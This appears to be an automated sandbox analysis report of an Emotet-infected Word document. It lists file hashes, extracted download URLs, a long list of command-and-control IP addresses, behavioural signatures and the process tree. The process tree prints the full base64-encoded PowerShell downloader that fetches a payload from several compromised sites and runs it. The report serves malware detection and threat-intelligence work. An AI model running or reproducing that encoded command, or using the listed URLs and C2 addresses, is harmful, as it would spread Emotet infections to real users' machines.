Analysis
-
max time kernel
135s -
max time network
133s -
platform
windows10_x64 -
resource
win10 -
submitted
31-07-2020 11:25
Static task
static1
Behavioral task
behavioral1
Sample
Form - Jul 31, 2020.doc
Resource
win7v200722
General
-
Target
Form - Jul 31, 2020.doc
-
Size
169KB
-
MD5
8864657efd01dce67c963db119a86048
-
SHA1
a5365413843d4184386432313b328a2e530bdc5a
-
SHA256
836e0e9799a0302b3e3c5d6a9339af1d93ba2518ee7801b021e5c30e5fd0b418
-
SHA512
8aa7198880fb5de3344be76e930ac1c59a1d2904a76ac3b1450c277920645e0fb335152e66aef64224c64bc981a22b596a8838157b7c187fff05c417055c5734
Malware Config
Extracted
http://mktf.mx/wp-includes/nf_p0w_z87k/
http://dragonfang.com/nav/pu_4cz89_3e81ooa90c/
http://maxiquim.cl/cgi-bin/qa0_i_qzk/
https://www.planetkram.com/egherdbaseball/z_xu00_9hbk939elw/
http://meulocal.com.br/suspend-page/0e_wt5bq_ekn/
Extracted
emotet
47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
24.234.133.205:80
190.55.181.54:443
189.212.199.126:443
93.156.165.186:80
62.138.26.28:8080
62.75.141.82:80
176.111.60.55:8080
168.235.67.138:7080
109.117.53.230:443
5.196.74.210:8080
162.154.38.103:80
152.168.248.128:443
83.110.223.58:443
95.9.185.228:443
180.92.239.110:8080
209.141.54.221:8080
37.187.72.193:8080
113.160.130.116:8443
85.59.136.180:8080
79.98.24.39:8080
91.231.166.124:8080
185.94.252.104:443
108.48.41.69:80
95.179.229.244:8080
71.208.216.10:80
93.51.50.171:8080
78.24.219.147:8080
24.179.13.119:80
200.41.121.90:80
153.126.210.205:7080
104.236.246.93:8080
46.105.131.79:8080
201.173.217.124:443
50.116.86.205:8080
116.203.32.252:8080
157.245.99.39:8080
109.74.5.95:8080
203.153.216.189:7080
87.106.139.101:8080
137.59.187.107:8080
110.145.77.103:80
47.153.182.47:80
95.213.236.64:8080
24.43.99.75:80
209.182.216.177:443
173.91.22.41:80
5.39.91.110:7080
75.139.38.211:80
91.211.88.52:7080
37.139.21.175:8080
162.241.92.219:8080
104.131.11.150:443
70.167.215.250:8080
104.131.44.150:8080
103.86.49.11:8080
65.111.120.223:80
Signatures
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3544 WINWORD.EXE 3544 WINWORD.EXE -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
14.exedescription pid process target process PID 1168 wrote to memory of 1484 1168 14.exe wevtapi.exe PID 1168 wrote to memory of 1484 1168 14.exe wevtapi.exe PID 1168 wrote to memory of 1484 1168 14.exe wevtapi.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Executes dropped EXE 2 IoCs
Processes:
14.exewevtapi.exepid process 1168 14.exe 1484 wevtapi.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/1168-8-0x0000000000600000-0x000000000060C000-memory.dmp emotet behavioral2/memory/1168-8-0x0000000000600000-0x000000000060C000-memory.dmp emotet behavioral2/memory/1484-11-0x0000000000550000-0x000000000055C000-memory.dmp emotet behavioral2/memory/1484-11-0x0000000000550000-0x000000000055C000-memory.dmp emotet -
Drops file in System32 directory 1 IoCs
Processes:
14.exedescription ioc process File opened for modification C:\Windows\SysWOW64\KBDA1\wevtapi.exe 14.exe -
Suspicious use of SetWindowsHookEx 11 IoCs
Processes:
WINWORD.EXE14.exewevtapi.exepid process 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 1168 14.exe 1484 wevtapi.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2708 3912 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 2708 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powersheLL.exewevtapi.exepid process 2708 powersheLL.exe 2708 powersheLL.exe 2708 powersheLL.exe 1484 wevtapi.exe 1484 wevtapi.exe 1484 wevtapi.exe 1484 wevtapi.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 10 2708 powersheLL.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Form - Jul 31, 2020.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABWAEcASgBLAFgAbQB4AGUAPQAnAEQARQBWAFIAVgB4AGgAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBgAEkAdAB5AHAAcgBvAHQAbwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwASwBGAFIATQBkAHAAZAAgAD0AIAAnADEANAAnADsAJABBAEEASABOAFkAYgBuAGgAPQAnAFQAQgBNAE8AQgBhAGcAZwAnADsAJABGAFoAUgBWAEkAdQBtAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwASwBGAFIATQBkAHAAZAArACcALgBlAHgAZQAnADsAJABWAEMARQBYAEUAbQBpAG8APQAnAFQATwBIAEsAWQBkAHEAYwAnADsAJABJAFoASwBYAEsAdwBzAHoAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFYASQBDAFoAUgBzAHkAcgA9ACcAaAB0AHQAcAA6AC8ALwBtAGsAdABmAC4AbQB4AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbgBmAF8AcAAwAHcAXwB6ADgANwBrAC8AKgBoAHQAdABwADoALwAvAGQAcgBhAGcAbwBuAGYAYQBuAGcALgBjAG8AbQAvAG4AYQB2AC8AcAB1AF8ANABjAHoAOAA5AF8AMwBlADgAMQBvAG8AYQA5ADAAYwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABpAHEAdQBpAG0ALgBjAGwALwBjAGcAaQAtAGIAaQBuAC8AcQBhADAAXwBpAF8AcQB6AGsALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAbABhAG4AZQB0AGsAcgBhAG0ALgBjAG8AbQAvAGUAZwBoAGUAcgBkAGIAYQBzAGUAYgBhAGwAbAAvAHoAXwB4AHUAMAAwAF8AOQBoAGIAawA5ADMAOQBlAGwAdwAvACoAaAB0AHQAcAA6AC8ALwBtAGUAdQBsAG8AYwBhAGwALgBjAG8AbQAuAGIAcgAvAHMAdQBzAHAAZQBuAGQALQBwAGEAZwBlAC8AMABlAF8AdwB0ADUAYgBxAF8AZQBrAG4ALwAnAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AVABMAEkASwBlAGcAawA9ACcAUgBRAFUAUgBQAHIAYgBzACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE8AUABEAEUAcwBiAG4AIABpAG4AIAAkAFYASQBDAFoAUgBzAHkAcgApAHsAdAByAHkAewAkAEkAWgBLAFgASwB3AHMAegAuACIARABvAHcAbgBgAEwAYABPAEEAZABgAEYASQBMAEUAIgAoACQATABPAFAARABFAHMAYgBuACwAIAAkAEYAWgBSAFYASQB1AG0AcwApADsAJABUAEMAVgBWAEUAawBnAHQAPQAnAEkASgBDAEoAWAB5AGkAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAWgBSAFYASQB1AG0AcwApAC4AIgBsAGAAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADYAMAA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBFAGEAYABUAEUAIgAoACQARgBaAFIAVgBJAHUAbQBzACkAOwAkAE4AUgBBAFEAVABmAHEAeAA9ACcAQwBaAFEASgBHAGUAeAB6ACcAOwBiAHIAZQBhAGsAOwAkAFMATwBCAEIAUQBtAHkAYgA9ACcASQBUAFYASgBXAGUAZwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQATABDAFAATgBtAGYAcgA9ACcAUwBaAFcARQBBAHkAbABhACcA1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
-
C:\Users\Admin\14.exeC:\Users\Admin\14.exe1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\KBDA1\wevtapi.exe"C:\Windows\SysWOW64\KBDA1\wevtapi.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\14.exe
-
C:\Users\Admin\14.exe
-
C:\Windows\SysWOW64\KBDA1\wevtapi.exe
-
memory/1168-8-0x0000000000600000-0x000000000060C000-memory.dmpFilesize
48KB
-
memory/1484-9-0x0000000000000000-mapping.dmp
-
memory/1484-11-0x0000000000550000-0x000000000055C000-memory.dmpFilesize
48KB
-
memory/3544-0-0x000001E371DBF000-0x000001E371DC2000-memory.dmpFilesize
12KB
-
memory/3544-1-0x000001E371DBC000-0x000001E371DBF000-memory.dmpFilesize
12KB
-
memory/3544-2-0x000001E371DBF000-0x000001E371DC2000-memory.dmpFilesize
12KB
-
memory/3544-3-0x000001E367B5B000-0x000001E367B61000-memory.dmpFilesize
24KB
-
memory/3544-4-0x000001E371FAB000-0x000001E371FB0000-memory.dmpFilesize
20KB
-
memory/3544-5-0x000001E371FAB000-0x000001E371FB0000-memory.dmpFilesize
20KB